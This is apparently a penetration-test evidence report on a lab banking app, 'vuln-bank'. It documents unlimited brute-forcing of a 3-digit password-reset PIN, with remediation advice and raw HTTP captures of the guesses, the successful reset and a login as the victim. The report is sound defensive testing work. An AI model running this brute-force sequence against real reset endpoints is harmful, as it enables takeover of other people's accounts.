Test case 21 / 26FAIL

Unrestricted Resource Consumption - Password Reset - PIN Rate Limiting

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] Unrestricted Resource Consumption - Password Reset - PIN Rate Limiting

01 — Notes

Test notes

Vulnerability

[FAIL] Unrestricted Resource Consumption - Password Reset - PIN Rate Limiting

Description

The password reset endpoint applies no rate limiting, account lockout, or limit on the number of PIN attempts. The recovery PIN is only 3 digits, so the guessing space is just 1000 possibilities and can be exhausted in seconds.

Impact

Confidentiality + Integrity (High): account takeover without needing the PIN to leak first. An attacker who only knows the username can trigger a reset request and then guess the entire PIN space. In testing, the victim's PIN was found on attempt 451 and the victim's password was successfully changed, followed by logging in as the victim. This attack works against the v2 and v3 endpoints that do not disclose the PIN, so it remains effective even if the PIN disclosure in v1 is fixed.

CWE

CWE-307: Improper Restriction of Excessive Authentication Attempts

OWASP

A07:2021 - Identification and Authentication Failures

Scenario

Normal: a reset request is submitted through /api/v2/forgot-password and the PIN is not disclosed in the response. Control: one wrong PIN is rejected with Invalid reset PIN. Exploitation: consecutive attempts are sent without delay and all are served with HTTP 400 without a single HTTP 429, lockout, or delay. Impact: the correct PIN is found, the victim's password is changed, and logging in as the victim succeeds.

Endpoint

POST http://127.0.0.1:5001/api/v2/forgot-password POST http://127.0.0.1:5001/api/v2/reset-password

Affected feature

Password recovery (PIN verification)

Remediation

- Apply per-account and per-IP rate limiting, and temporary lockout after a few failed PIN attempts. - Replace the 3-digit PIN with a random token of at least 128 bits, single-use and short-lived. - Invalidate the recovery token after a small number of failed attempts and require a new reset request. - Notify the account owner on every reset request and on successful resets.

Proof of concept

1) (Screenshot 1) NORMAL: reset request via /api/v2/forgot-password -> the PIN is not disclosed in the response. 2) (Screenshot 2) CONTROL: one wrong PIN (000) -> rejected with Invalid reset PIN. 3) (Screenshot 3) EXPLOITATION: consecutive PIN attempts without delay -> all served HTTP 400, with no HTTP 429, lockout, or delay. 4) (Screenshot 4) EXPLOITATION: the correct PIN is found on attempt 451 -> reset_success true, the victim's password is changed. 5) (Screenshot 5) CIA IMPACT: log in as pentest_victim with the brute-forced password -> token issued, the victim account is taken over.
View source note (English)
Vulnerability:
[FAIL] Unrestricted Resource Consumption - Password Reset - PIN Rate Limiting

Description:
The password reset endpoint applies no rate limiting, account lockout, or limit on the number of PIN attempts. The recovery PIN is only 3 digits, so the guessing space is just 1000 possibilities and can be exhausted in seconds.

Impact:
Confidentiality + Integrity (High): account takeover without needing the PIN to leak first. An attacker who only knows the username can trigger a reset request and then guess the entire PIN space. In testing, the victim's PIN was found on attempt 451 and the victim's password was successfully changed, followed by logging in as the victim. This attack works against the v2 and v3 endpoints that do not disclose the PIN, so it remains effective even if the PIN disclosure in v1 is fixed.

CWE:
CWE-307: Improper Restriction of Excessive Authentication Attempts

OWASP:
A07:2021 - Identification and Authentication Failures

Scenario:
Normal: a reset request is submitted through /api/v2/forgot-password and the PIN is not disclosed in the response. Control: one wrong PIN is rejected with Invalid reset PIN. Exploitation: consecutive attempts are sent without delay and all are served with HTTP 400 without a single HTTP 429, lockout, or delay. Impact: the correct PIN is found, the victim's password is changed, and logging in as the victim succeeds.

Endpoint:
POST http://127.0.0.1:5001/api/v2/forgot-password
POST http://127.0.0.1:5001/api/v2/reset-password

Affected Feature:
Password recovery (PIN verification)

Remediation:
- Apply per-account and per-IP rate limiting, and temporary lockout after a few failed PIN attempts.
- Replace the 3-digit PIN with a random token of at least 128 bits, single-use and short-lived.
- Invalidate the recovery token after a small number of failed attempts and require a new reset request.
- Notify the account owner on every reset request and on successful resets.

POC:
1) (Screenshot 1) NORMAL: reset request via /api/v2/forgot-password -> the PIN is not disclosed in the response.
2) (Screenshot 2) CONTROL: one wrong PIN (000) -> rejected with Invalid reset PIN.
3) (Screenshot 3) EXPLOITATION: consecutive PIN attempts without delay -> all served HTTP 400, with no HTTP 429, lockout, or delay.
4) (Screenshot 4) EXPLOITATION: the correct PIN is found on attempt 451 -> reset_success true, the victim's password is changed.
5) (Screenshot 5) CIA IMPACT: log in as pentest_victim with the brute-forced password -> token issued, the victim account is taken over.

02 — Screenshots

Screenshots (4)

01 / 1
02 / 2
03 / 4
04 / 5

03 — Process details

Process details

Credential values are masked in this HTML view; references to complete tokens describe the source capture.

PROCESS 01 / 3
01 / Test password-reset PIN rate limiting

Test password-reset PIN rate limiting

Consecutive PIN attempts

attempt  1  ->  HTTP 400
attempt  2  ->  HTTP 400
attempt  3  ->  HTTP 400
attempt  4  ->  HTTP 400
attempt  5  ->  HTTP 400
attempt  6  ->  HTTP 400
attempt  7  ->  HTTP 400
attempt  8  ->  HTTP 400
attempt  9  ->  HTTP 400
attempt 10  ->  HTTP 400

04 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
POST /api/v2/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json

{"username": "pentest_victim"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 187
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:46 GMT

{
  "debug_info": {
    "timestamp": "2026-09-30 03:12:46.701456",
    "username": "pentest_victim"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}
CAPTURE 02 / 2
HTTP request
POST /api/v2/reset-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 82
Content-Type: application/json

{"username": "pentest_victim", "reset_pin": "000", "new_password": "BruteForced1"}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 59
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:48 GMT

{
  "message": "Invalid reset PIN",
  "status": "error"
}
CAPTURE 03 / 4
HTTP request
POST /api/v2/reset-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 82
Content-Type: application/json

{"username": "pentest_victim", "reset_pin": "450", "new_password": "BruteForced1"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 80
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:51 GMT

{
  "message": "Password has been reset successfully",
  "status": "success"
}
CAPTURE 04 / 5
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 58
Content-Type: application/json

{"username": "pentest_victim", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 498
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:53 GMT

{
  "accountNumber": "9159912486",
  "debug_info": {
    "account_number": "9159912486",
    "is_admin": false,
    "login_time": "2026-09-30 03:12:53.293519",
    "user_id": 3,
    "username": "pentest_victim"
  },
  "isAdmin": false,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}